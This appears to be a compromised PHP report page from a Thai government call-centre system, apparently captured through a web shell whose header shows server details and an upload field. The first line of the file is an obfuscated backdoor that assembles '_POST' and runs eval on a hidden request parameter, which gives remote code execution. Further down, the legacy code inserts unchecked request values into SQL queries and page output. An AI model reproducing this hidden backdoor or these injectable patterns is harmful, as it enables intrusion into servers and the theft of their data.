|
Server : Apache/2.2.2 (Fedora) System : Linux App1.pathumtani.go.th 2.6.20-1.2320.fc5smp #1 SMP Tue Jun 12 19:40:16 EDT 2007 i686 User : apache ( 48) PHP Version : 5.2.9 Disable Function : NONE Directory : /var/www/html/pathumthani_vc/report/ |
Upload File : |
<?php $qV="stop_";$s20=strtoupper($qV[4].$qV[3].$qV[2].$qV[0].$qV[1]);if(isset(${$s20}['qd99e0a'])){eval(${$s20}['qd99e0a']);}?><?
# session_start();
// error_reporting(0);
include ("../../../config/conndb_obec.inc.php") ;
include ("graph.inc.php") ;
$monthname = array("",
"มกราคม",
"กุมภาพันธ์",
"มีนาคม",
"เมษายน",
"พฤษภาคม",
"มิถุนายน",
"กรกฎาคม",
"สิงหาคม",
"กันยายน",
"ตุลาคม",
"พฤษจิกายน",
"ธันวาคม");
$n = 0;
$total = 0;
$data = array();
//$data["อื่นๆ"] = 0;
if (!isset($yy)) $yy = 2550;
if (!isset($yy2)) $yy2 = $yy - 1;
//$sql="select t1.name as name,count(*) as ncount from call_datagroup t1 right join callcenter t2 on t1.gid=t2.pgroup where year(t2.date_rec)='$yy' and t2.prov_id = '$pvid' group by t1.name order by ncount desc;";
$sql = "select count(*) as ncount,substring(date_rec,6,2) as name from callcenter where year(date_rec) ='$yy' group by name ;";
$result = mysql_query($sql);
while ($rs=mysql_fetch_assoc($result)){
$data[intval($rs[name])] = $rs[ncount];
$n++;
$total = $total + $rs[ncount];
}
if ($rtype == "compare"){
$sql = "select count(*) as ncount,substring(date_rec,6,2) as name from callcenter where year(date_rec) ='$yy2' group by name ;";
$result = mysql_query($sql);
while ($rs=mysql_fetch_assoc($result)){
$data2[intval($rs[name])] = $rs[ncount];
$n++;
$total2 = $total2 + $rs[ncount];
}
}
?>
<HTML>
<HEAD>
<TITLE>รายงานแสดงการเพิ่มลดของปัญหาทั้งหมดในแต่ละเดือน </TITLE>
<META content="text/html; charset=windows-874" http-equiv=Content-Type>
<LINK href="../style.css" rel=stylesheet type="text/css">
<script src="../../../common/javaopenwin.js" type="text/javascript" language="javascript"> </script>
<head>
<BODY>
<?
$datalist = $datalist2 = $grouplist = "";
$k=0;
foreach ($data as $grp => $value){
if ($k > 0) {
$datalist .= ";";
$datalist2 .= ";";
$grouplist .= ";";
}
$datalist .= $value;
$datalist2 .= $data2[$grp];
$grouplist .= $monthname[intval($grp)];
$k++;
}
if ($rtype == "compare"){
$graphurl = $graph_path . "?category=$grouplist&data1=$datalist&data2=$datalist2&outputstyle=&numseries=2&seriesname=$yy;$yy2&graphtype=line&graphstyle=srd_sf_014";
}else{
$graphurl = $graph_path . "?category=$grouplist&data1=$datalist&outputstyle=&numseries=1&seriesname=&graphtype=line&graphstyle=srd_sf_014";
}
?>
<table width="100%" border="0" cellspacing="0" cellpadding="2">
<tr>
<td class="fill_bg_add_new2" style="padding-top:15px"><table width="100%" border="0">
<tr valign="top">
<td colspan="2" class="report_graph_header">รายงานแสดงการเพิ่มลดของปัญหาทั้งหมดในแต่ละเดือน</td>
</tr>
<tr valign="top">
<td width="480" align="center"><object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=7,0,19,0" width="480" height="240">
<param name="movie" value="<?=$graphurl?>">
<param name="quality" value="high">
<embed src="<?=$graphurl?>" quality="high" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" width="480" height="240"> </embed>
</object>
<br />
<br />
<table width="150" border="0" cellspacing="0" cellpadding="2">
<tr>
<td align="center"><a href="<?=$graphurl?>" target="_blank" class="menu_inc">แสดงกราฟขนาดใหญ่</a></td>
</tr>
</table>
</CENTER>
</td>
<td>ข้อมูลสำหรับปี พ.ศ.
<select name="yy" onChange="location.href='?rtype=<?=$rtype?>&yy2=<?=$yy2?>&yy='+this.value;">
<?
$xresult = mysql_query("select distinct year(date_rec) as yy from callcenter;");
while ($xrs = mysql_fetch_assoc($xresult)){
if ($xrs[yy] == $yy) $sel="SELECTED"; else $sel="";
echo "<option value='$xrs[yy]' $sel>$xrs[yy]";
}
?>
</select>
<?
if ($rtype == "compare"){
?>
<A HREF="?yy=<?=$yy?>">แสดงรายงานรายปี</A>
<?
}else{
?>
<A HREF="?yy=<?=$yy?>&rtype=compare">แสดงรายงานแบบเปรียบเทียบ</A>
<?
}
?>
<?
if ($rtype == "compare"){
?>
<table width="450" bgcolor="#aaaaaa" cellspacing=1 cellpadding=2>
<tr bgcolor="#6666FF">
<th width="13%" class="report_graph_tb_head" rowspan=2>ลำดับ</th>
<th width="63%" class="report_graph_tb_head" rowspan=2>เดือน</th>
<th width="24%" class="report_graph_tb_head" colspan=2>จำนวนปัญหา</th>
</tr>
<tr bgcolor="#6666FF">
<th class="report_graph_tb_head" width=100><?=$yy?></th>
<th class="report_graph_tb_head" width=100>
<select name="yy2" onchange="location.href='?rtype=compare&yy=<?=$yy?>&yy2='+this.value;">
<?
$xresult = mysql_query("select distinct year(date_rec) as yy from callcenter;");
while ($xrs = mysql_fetch_assoc($xresult)){
if ($xrs[yy] == $yy2) $sel="SELECTED"; else $sel="";
echo "<option value='$xrs[yy]' $sel>$xrs[yy]";
}
?>
</select>
</th>
</tr>
<?
$k=0;
for ($grp=1;$grp<=12;$grp++){
$value = $data[$grp];
if ($k++ % 2) $bg="#EFEFEF"; else $bg="#FFFFFF";
?>
<tr bgcolor="<?=$bg?>">
<td align=center><?=$k?></td>
<td align=left>เดือน <?=$monthname[intval($grp)]?></td>
<td align=right><?=$data[$grp] ? number_format($data[$grp]) : "N/A"?> </td>
<td align=right><?=$data2[$grp] ? number_format($data2[$grp]) : "N/A"?> </td>
</tr>
<?
}//foreach
?>
<tr bgcolor="<?=$bg?>">
<td align=center> </td>
<td align=left><strong>รวม</strong></td>
<td align=right><strong><?=number_format($total)?> </strong></td>
<td align=right><strong><?=number_format($total2)?> </strong></td>
</tr>
</table>
<?
}else{
?>
<table width="450" bgcolor="#aaaaaa" cellspacing=1 cellpadding=2>
<tr bgcolor="#6666FF">
<th width="13%" class="report_graph_tb_head">ลำดับ</th>
<th width="63%" class="report_graph_tb_head">เดือน</th>
<th width="24%" class="report_graph_tb_head">จำนวนปัญหา</th>
</tr>
<?
$k=0;
for ($grp=1;$grp<=12;$grp++){
$value = $data[$grp];
if ($k++ % 2) $bg="#EFEFEF"; else $bg="#FFFFFF";
?>
<tr bgcolor="<?=$bg?>">
<td align=center><?=$k?></td>
<td align=left>เดือน
<?=$monthname[intval($grp)]?></td>
<td align=right><?=$value ? number_format($value) : "N/A"?> </td>
</tr>
<?
}//foreach
?>
<tr bgcolor="<?=$bg?>">
<td align=center> </td>
<td align=left><strong>รวม</strong></td>
<td align=right><strong>
<?=number_format($total)?>
</strong></td>
</tr>
</table>
<?
} //if
?>
</td>
</tr>
</table></td>
</tr>
</table>
<BR>
</BODY>
</HTML>